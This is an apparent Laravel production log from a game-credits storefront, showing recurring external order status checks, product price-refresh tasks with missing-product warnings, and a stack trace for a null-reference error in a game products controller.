[2026-03-24 10:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:22:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dYqfOaGAiqDnVY49WT9j3BxEgk3qT4OD","execution_time":"2026-03-24 10:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01"} 
[2026-03-24 10:24:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ShUr1nXWJKDnwENuWH6llk1nYyH4fNdO","execution_time":"2026-03-24 10:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:25:05] production.INFO: async() رجع: true  
[2026-03-24 10:25:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03"} 
[2026-03-24 10:26:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","total_operations":1,"sites_count":1} 
[2026-03-24 10:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:26:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:26:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:26:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:26:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:26:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"XsYF7VF01JcYYci0FWit0sFoGYF0S4vA","execution_time":"2026-03-24 10:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:28:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00"} 
[2026-03-24 10:28:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","total_operations":1,"sites_count":1} 
[2026-03-24 10:28:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:28:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:28:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:28:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:28:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:28:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:28:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0PTKp2qu5m34LPaBDt4a81XcHYWPuBXz","execution_time":"2026-03-24 10:28:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:30:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02"} 
[2026-03-24 10:30:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","total_operations":1,"sites_count":1} 
[2026-03-24 10:30:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:30:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:30:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:30:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:30:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:30:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:30:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"GWfr3UQfTOnVbug8fYxiKZA3VPEtP13c","execution_time":"2026-03-24 10:30:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:30:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:30:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:30:04] production.INFO: async() رجع: true  
[2026-03-24 10:30:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:30:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:30:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:32:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03"} 
[2026-03-24 10:32:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","total_operations":1,"sites_count":1} 
[2026-03-24 10:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:32:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:32:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:32:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:32:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:32:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"M4cibLHIHoLVDzDPjbiaRzG0MnYBLalC","execution_time":"2026-03-24 10:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:32:57] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 10:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NgkoYVphPqKwKGROKyF0DeYUgsqZxqDU","execution_time":"2026-03-24 10:34:03"} 
